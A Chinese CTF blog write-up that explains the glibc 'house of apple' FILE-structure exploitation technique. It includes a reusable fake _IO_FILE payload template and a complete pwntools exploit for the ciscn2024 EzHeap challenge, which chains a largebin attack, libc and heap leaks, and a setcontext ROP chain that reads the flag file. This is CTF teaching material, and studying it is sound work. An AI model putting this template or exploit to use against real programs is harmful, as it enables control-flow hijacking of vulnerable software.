前言 打ciscn的时候突然被gitee恶心到了,之前发的博客(一些笔记)都没了,导致做高版本堆题的时候找不到自己之前存的模板,人傻了,然后听其他师傅的打了house of apple,其实之前有学过,可能是太久没碰过了导致忘记了,本文重新记录一下apple的打法和大致原理
利用条件 1.泄露出堆地址以及libc地址
2.能控制程序执行io操作,包括但不限于:从main函数返回、调用exit函数、通过_malloc_assert触发
3.能控制_IO_FILE的vtable和_wide_data,一般用largebin attack
利用原理 stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下
1 2 3 4 5 #define _IO_OVERFLOW(FP , CH) JUMP1 (__overflow , FP, CH) #define JUMP1(FUNC , THIS, X1) (_IO_JUMPS_FUNC (THIS )->FUNC) (THIS , X1) # define _IO_JUMPS_FUNC(THIS ) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS )))
其中,IO_validate_vtable
函数负责检查vtable
的合法性,会判断vtable
的地址是不是在一个合法的区间。如果vtable
的地址不合法,程序将会异常终止。
观察struct _IO_wide_data
结构体,发现其对应有一个_wide_vtable
成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct _IO_wide_data { wchar_t *_IO_read_ptr ; wchar_t *_IO_read_end ; wchar_t *_IO_read_base ; wchar_t *_IO_write_base ; wchar_t *_IO_write_ptr ; wchar_t *_IO_write_end ; wchar_t *_IO_buf_base ; wchar_t *_IO_buf_end ; wchar_t *_IO_save_base ; wchar_t *_IO_backup_base ; wchar_t *_IO_save_end ; __mbstate_t _IO_state ; __mbstate_t _IO_last_state ; struct _IO_codecvt _codecvt ; wchar_t _shortbuf [1 ]; const struct _IO_jump_t *_wide_vtable ; };
在调用_wide_vtable
虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow
调用为例,所用到的宏依次为:
1 2 3 4 5 6 7 8 #define _IO_WOVERFLOW (FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1 (FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC (THIS) _IO_WIDE_JUMPS (THIS) #define _IO_WIDE_JUMPS (THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
可以看到,在调用_wide_vtable
里面的成员函数指针时,没有关于vtable的合法性检查 。
因此,我们可以劫持IO_FILE
的vtable
为_IO_wfile_jumps
,控制_wide_data
为可控的堆地址空间,进而控制_wide_data->_wide_vtable
为可控的堆地址空间。控制程序执行IO
流函数调用,最终调用到_IO_Wxxxxx
函数即可控制程序的执行流。
链路分析 触发的方式和apple1是一样的 可以通过显示调用的exit 或者是从main函数返回的隐式exit 或者是malloc_assert输出报错信息
下面是通过exit触发的链
exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_OVERFLOW
主要的思想就是劫持IO_list_all为堆地址 从而我们可以伪造io结构体
这里主要注意的就是两个成员 一个是_wide_data 一个是vtable
我们先说vtable 这里的思路是将其伪造为_IO_wfile_jumps
这样触发io时会调用到_IO_wfile_overflow 来看一下这个函数主要的内容
其内部调用了wdoallocbuf函数 这个函数存在一个任意函数调用的点
其索引是通过rax寄存器来的
而此时的rax值 就是fakeio的0xa0偏移处的wide_data成员
其wide_data处要求是一个结构体指针 wdoallocbuf函数会调用该指针的vtable的overflow函数
如果我们将其控制为setcontext 就可以实现一段rop 哪怕是开启了沙盒 也是适用的
伪造分析 关键的伪造点就那几个
1.先要把_IO_list_all利用largebin attack先覆盖成可控地址 用来伪造结构体 下面称fakeio1
2.控制fakeio1的vtable为_IO_wfile_jumps 从而调用到 _IO_wfile_overflow
3.控制fakeio1的_wide_date为fakeio2
4.控制fakeio2的vtable为fakeio3
5.控制fakeio3的偏移0x68处为setcontext
需要注意的就是最后的rop链存放的位置不能影响到fakeio的其他成员 导致程序执行流无法顺利执行
还有就是之所以 不直接更改_wide_data->vtable->0x68为system函数 然后设置fakeio首地址处为/bin/sh 这样破坏了flag成员 无法让程序执行流按预期的执行
剩下的就参考下面的模板吧
1 2 3 4 5 6 7 8 9 fakeio1 IO_wfile_jumps = libc_addr + 0 x2160c0 fake_file = b'' fake_file = fake_file.ljust (0 x20,b'\x00' )+p64 (0 )+p64 (1 ) fake_file = fake_file.ljust (0 xa0,b'\x00' )+p64 (chunk5_addr) fake_file = fake_file.ljust (0 xd8,b'\x00' )+p64 (IO_wfile_jumps) payload = cyclic (0 x10)+fake_file
1 2 3 4 5 6 7 fakeio2 payload = b'' payload = payload.ljust (0 x58,b'\x00' )+p64 (setcontext) payload = payload.ljust (0 x90,b'\x00' )+p64 (chunk5_addr+0 xf0)+p64 (ret_addr) payload = payload.ljust (0 xd0,b'\x00' )+p64 (chunk5_addr)+p64 (0 )+p64 (rdi_addr)+p64 (binsh_addr)+p64 (system_addr)
例题:ciscn2024-EzHeap 一道常规的堆题,开了沙箱
漏洞点在edit,有明显的堆溢出
先构造出largebin,然后泄露出libc地址和堆地址,然后就是套上面的板子打apple就行了(但是好像直接打orw打不通,用syscall就行了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *from ctypes import *from struct import packbanary = "./EzHeap" elf = ELF(banary)libc = ELF("./libc.so.6" )ip = ''port = 0 local = 1 if local: io = process(banary)else : io = remote(ip, port)context (log_level = 'debug', os = 'linux', arch = 'amd64')def dbg(): gdb .attach(io) pause ()s = lambda data : io.send(data)sl = lambda data : io.sendline(data)sa = lambda text, data : io.sendafter(text, data)sla = lambda text, data : io.sendlineafter(text, data)r = lambda : io.recv()ru = lambda text : io.recvuntil(text)uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00'))uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" ))iuu32 = lambda : int(io.recv(10 ),16 )iuu64 = lambda : int(io.recv(6 ),16 )uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00'))lg = lambda data : io.success('%s -> 0 x%x' % (data, eval(data)))ia = lambda : io.interactive()def cmd(choice): ru ("choice >> " ) sl (str(choice))def add(size,content): cmd (1 ) ru ("size:" ) sl (str(size)) ru ("content:" ) s (content)def delete(index): cmd (2 ) ru ("idx:" ) sl (str(index))def edit(index,content): size =len(content) cmd (3 ) ru ("idx:" ) sl (str(index)) ru ("size:" ) sl (str(size)) ru ("content:" ) s (content)def show(index): cmd (4 ) ru ("idx:" ) sl (str(index))add (0 x200,b'/bin/sh\x00')#0 add (0 x468,b'youlin')#1 add (0 x228,b'youlin')#2 add (0 x430,b'youlin')#3 delete (1 )add (0 x470,b'sbgitee0')#1 edit (0 ,b'A'*0 x200+b'B'*0 x10)#p64(0 )+p64(0 x471)show (0 )fd =uu64()libcbase =fd-0 x21b0e0lg ("fd" )lg ("libcbase" )_IO_list_all = libcbase + libc.sym['_IO_list_all']lg ("_IO_list_all" )edit (0 ,b'A'*0 x200+b'A'*0 x10+b'B'*0 x10)show (0 )ru ("B" *0 x10)heapbase =uheap()-0 x2510lg ("heapbase" )edit (0 ,b'A'*0 x200+p64(0 )+p64(0 x471)+p64(fd)*2 +p64(heapbase+0 x2510)+p64(_IO_list_all-0 x20))delete (3 )add (0 x480,b'sbgitee')#3 fake_heap =heapbase+0 x2990+0 x10lg ("fake_heap" )IO_wfile_jumps = libcbase + 0 x2170c0fake_file = b''fake_file = fake_file.ljust(0 x20,b'\x00')+p64(0 )+p64(1 )fake_file = fake_file.ljust(0 xa0,b'\x00')+p64(fake_heap)fake_file = fake_file.ljust(0 xd8,b'\x00')+p64(IO_wfile_jumps)payload = cyclic(0 x10)+fake_fileedit (2 ,cyclic(0 x210)+payload)flag_addr = fake_heap-0 x10setcontext = libcbase + libc.sym['setcontext']+61 ret_addr = libcbase + 0 x0000000000029139rdi_addr = libcbase + 0 x000000000002a3e5rsi_addr = libcbase + 0 x000000000002be51rdx_r12_addr = libcbase + 0 x000000000011f2e7 open_addr = libcbase + libc.sym['open']rax_addr = libcbase + next(libc.search(asm("pop rax;ret" )))read_addr = libcbase + libc.sym['read']write_addr = libcbase + libc.sym['write']syscall_addr = read_addr+0 x10payload = b'flag\x00'payload = payload.ljust(0 x68,b'\x00')+p64(setcontext)payload = payload.ljust(0 xb0,b'\x00')+p64(fake_heap+0 xf0)+p64(ret_addr)payload = payload.ljust(0 xd0,b'\x00')+p64(fake_heap)+p64(0 )*3 +p64(fake_heap-0 x10)+p64(0 )payload += p64(rax_addr)+p64(2 )+p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0 )+p64(syscall_addr)payload += p64(rax_addr)+p64(0 )+p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(fake_heap+0 x4000)+p64(rdx_r12_addr)+p64(0 x100)*2 +p64(syscall_addr)payload += p64(rax_addr)+p64(1 )+p64(rdi_addr)+p64(1 )+p64(rsi_addr)+p64(fake_heap+0 x4000)+p64(rdx_r12_addr)+p64(0 x100)*2 +p64(syscall_addr)edit (2 ,payload)dbg ()cmd (5 )ia ()